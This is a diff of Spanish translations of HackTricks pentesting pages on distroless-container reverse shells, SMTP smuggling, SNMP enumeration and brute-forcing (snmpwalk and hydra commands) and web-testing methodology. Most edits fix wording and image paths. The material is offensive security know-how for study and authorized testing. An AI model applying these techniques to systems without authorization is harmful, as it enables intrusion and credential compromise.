+Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un reverse shell de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
 
 ### Memdlopen
 
@@ -110,37 +110,37 @@ Los contenedores distroless contienen solo los **componentes mínimos necesarios
 
 El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar el número de vulnerabilidades que pueden ser explotadas.
 
-### Shell Reverso
+### Reverse Shell
 
 En un contenedor distroless, es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
 
 {% hint style="warning" %}
-Por lo tanto, **no podrás** obtener un **shell reverso** o **enumerar** el sistema como lo haces normalmente.
+Por lo tanto, **no** podrás obtener un **reverse shell** o **enumerar** el sistema como lo haces normalmente.
 {% endhint %}
 
-Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **shell reverso de Python**. Si está ejecutando node, puedes obtener un shell rev de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
+Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **reverse shell de Python**. Si está ejecutando node, puedes obtener un reverse shell de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
 
 {% hint style="success" %}
 Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
 {% endhint %}
 
-Si no hay protecciones de **solo lectura/sin ejecución**, podrías abusar de tu shell reverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
+Si no hay protecciones de **`read-only/no-exec`**, podrías abusar de tu reverse shell para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
 
 {% hint style="success" %}
 Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**.
 {% endhint %}
 
-Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener shells reversos de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
+Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-smtp/smtp-smuggling.md

@@ -23,7 +23,7 @@ Este tipo de vulnerabilidad fue [**descubierta originalmente en esta publicació
 
 Esto se debe a que en el protocolo SMTP, los **datos del mensaje** que se enviará en el correo electrónico son controlados por un usuario (atacante) que podría enviar datos especialmente diseñados abusando de las diferencias en los analizadores que introducirán correos adicionales en el receptor. Eche un vistazo a este ejemplo ilustrado de la publicación original:
 
-<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
 
 ### Cómo
 

network-services-pentesting/pentesting-snmp/README.md

@@ -1,8 +1,8 @@
 # 161,162,10161,10162/udp - Pentesting SNMP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -34,7 +34,7 @@ SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son datos **pa
 
 ### MIB
 
-Para asegurar que el acceso SNMP funcione entre diferentes fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\
+Para asegurar que el acceso SNMP funcione entre fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\
 Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de datos se utiliza.
 
 ### OIDs
@@ -58,14 +58,14 @@ Hay algunos **OID bien conocidos** como los que están dentro de [1.3.6.1.2.1](h
 
 Aquí hay un desglose de esta dirección.
 
-* 1 – esto se llama el ISO y establece que este es un OID. Por eso todos los OIDs comienzan con "1"
+* 1 – esto se llama ISO y establece que este es un OID. Por eso todos los OID comienzan con "1"
 * 3 – esto se llama ORG y se utiliza para especificar la organización que fabricó el dispositivo.
 * 6 – este es el dod o el Departamento de Defensa, que es la organización que estableció primero Internet.
 * 1 – este es el valor de internet para denotar que todas las comunicaciones ocurrirán a través de Internet.
 * 4 – este valor determina que este dispositivo es fabricado por una organización privada y no por una gubernamental.
 * 1 – este valor denota que el dispositivo es fabricado por una empresa o entidad comercial.
 
-Estos primeros seis valores tienden a ser los mismos para todos los dispositivos y te dan la información básica sobre ellos. Esta secuencia de números será la misma para todos los OIDs, excepto cuando el dispositivo es fabricado por el gobierno.
+Estos primeros seis valores tienden a ser los mismos para todos los dispositivos y te dan la información básica sobre ellos. Esta secuencia de números será la misma para todos los OID, excepto cuando el dispositivo es fabricado por el gobierno.
 
 Pasando al siguiente conjunto de números.
 
@@ -98,10 +98,10 @@ Hay **2 tipos de cadenas de comunidad**:
 * **`public`** principalmente funciones **solo de lectura**
 * **`private`** **Lectura/Escritura** en general
 
-Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\
-Si intentas **escribir** un objeto se recibe un error **`noSuchName` o `readOnly`**.\*\*.\*\*
+Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "public", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\
+Si intentas **escribir** un objeto, se recibe un error de **`noSuchName` o `readOnly`**.\*\*.\*\*
 
-En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se utilizó una **cadena de comunidad válida**.
+En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**.
 
 ## Puertos
 
@@ -109,7 +109,7 @@ En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor
 
 * El agente SNMP recibe solicitudes en el puerto UDP **161**.
 * El administrador recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) y [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) en el puerto **162**.
-* Cuando se utiliza con [Seguridad de Capa de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Seguridad de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**.
+* Cuando se utiliza con [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**.
 
 ## Fuerza Bruta de la Cadena de Comunidad (v1 y v2c)
 
@@ -144,7 +144,7 @@ Gracias a las consultas extendidas (download-mibs), es posible enumerar aún má
 ```bash
 snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
-**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO, y **procesos**
+**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos**
 
 **en ejecución** (puede contener contraseñas)....
 
@@ -193,7 +193,7 @@ Si tienes la **cadena** que te permite **escribir valores** dentro del servicio
 
 ## **SNMP Masivo**
 
-[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido.
+[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar docenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido.
 
 Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp.
 
@@ -223,7 +223,7 @@ Los registros almacenados en las tablas MIB se examinan en busca de **intentos d
 ```bash
 grep -i "login\|fail" *.snmp
 ```
-### **Emails**
+### **Correos electrónicos**
 
 Finalmente, para extraer **direcciones de correo electrónico** de los datos, se utiliza un **comando grep** con una expresión regular, centrándose en patrones que coinciden con formatos de correo electrónico:
 ```bash
@@ -235,7 +235,7 @@ Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer
 
 ## Suplantación
 
-Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico.
+Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico.
 
 ## Examinar archivos de configuración SNMP
 
@@ -243,7 +243,7 @@ Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, pued
 * snmpd.conf
 * snmp-config.xml
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
 
 ```
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-snmp/cisco-snmp.md

@@ -1,8 +1,8 @@
 # Cisco SNMP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/README.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -42,7 +42,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 [web-api-pentesting.md](web-api-pentesting.md)
 {% endcontent-ref %}
 
-## Resumen de metodología
+## Resumen de la metodología
 
 > En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo eso. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierta con servidor web indeterminado dentro del alcance.
 
@@ -51,10 +51,10 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 * [ ] ¿Usando alguna **tecnología bien conocida**? ¿Algún **truco útil** para extraer más información?
 * [ ] ¿Algún **escáner especializado** para ejecutar (como wpscan)?
 * [ ] Lanza **escáneres de propósito general**. Nunca sabes si van a encontrar algo o si van a encontrar información interesante.
-* [ ] Comienza con los **chequeos iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS).
+* [ ] Comienza con las **verificaciones iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS).
 * [ ] Comienza a **spidering** la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros utilizados.** Además, verifica si hay **hallazgos especiales**.
 * [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser spidered._
-* [ ] **Brute-Forcing de directorios**: Intenta forzar todos los folders descubiertos buscando nuevos **archivos** y **directorios**.
+* [ ] **Brute-Forcing de directorios**: Intenta forzar todos los directorios descubiertos buscando nuevos **archivos** y **directorios**.
 * [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser Brute-Forced._
 * [ ] **Verificación de copias de seguridad**: Prueba si puedes encontrar **copias de seguridad** de **archivos descubiertos** añadiendo extensiones comunes de copia de seguridad.
 * [ ] **Brute-Force de parámetros**: Intenta **encontrar parámetros ocultos**.
@@ -66,7 +66,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ### Identificar
 
 Verifica si hay **vulnerabilidades conocidas** para la **versión** del servidor que se está ejecutando.\
-Los **encabezados HTTP y cookies de la respuesta** podrían ser muy útiles para **identificar** las **tecnologías** y/o **versión** que se están utilizando. Un **escaneo de Nmap** puede identificar la versión del servidor, pero también podrían ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
+Los **encabezados HTTP y las cookies de la respuesta** podrían ser muy útiles para **identificar** las **tecnologías** y/o **versión** que se están utilizando. Un **escaneo de Nmap** puede identificar la versión del servidor, pero también podrían ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
@@ -117,18 +117,18 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 * [**Wordpress**](wordpress.md)
 * [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
 
-_Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
-Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida listada anteriormente** o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).
+_Tenga en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
+Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvide **buscar en Internet** nuevos trucos (¡y hágamelo saber!).
 
 ### Revisión de código fuente
 
-Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
+Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **su cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
 
 * ¿Hay un **Change-log o Readme o archivo de versión** o algo con **información de versión accesible** a través de la web?
-* ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
+* ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún **archivo** (¿accesible?) con credenciales (nombres de usuario o contraseñas)?
 * ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza?
 * ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza?
-* ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
+* ¿Puede **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
 * ¿Hay alguna **información interesante en el github** (problemas **resueltos y no resueltos**)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
 
 {% content-ref url="code-review-tools.md" %}
@@ -186,7 +186,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
 
 * Accede a **páginas falsas** como /whatever\_fake.php (.aspx,.html,.etc)
-* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y los **valores de parámetros** para crear errores
+* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookie** y los **valores de parámetro** para crear errores
 * Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL**
 * Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
 
@@ -195,7 +195,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env
 Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta:
 
 * **Fuerza Bruta** de credenciales
-* **Sube archivos** a través de WebDav al **resto** de las **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
+* **Sube archivos** a través de WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
 
 ### **Vulnerabilidades SSL/TLS**
 
@@ -218,7 +218,7 @@ Información sobre vulnerabilidades de SSL/TLS:
 
 ### Spidering
 
-Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** desde la aplicación probada. Por lo tanto, se deben utilizar la exploración web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
+Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** desde la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
 
 * [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, con LinkFinder para archivos JS y Archive.org como fuente externa.
@@ -229,7 +229,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
 * [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl).
 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
 * [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
 * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec.
 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido.
 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados).
@@ -242,7 +242,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado.
 * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces).
 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado Crawler/Spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un rastreador/spider web de GUI multifuncional avanzado diseñado para profesionales de ciberseguridad.
 * [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración.
 * [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto.
@@ -250,12 +250,12 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
 
 ### Fuerza bruta de directorios y archivos
 
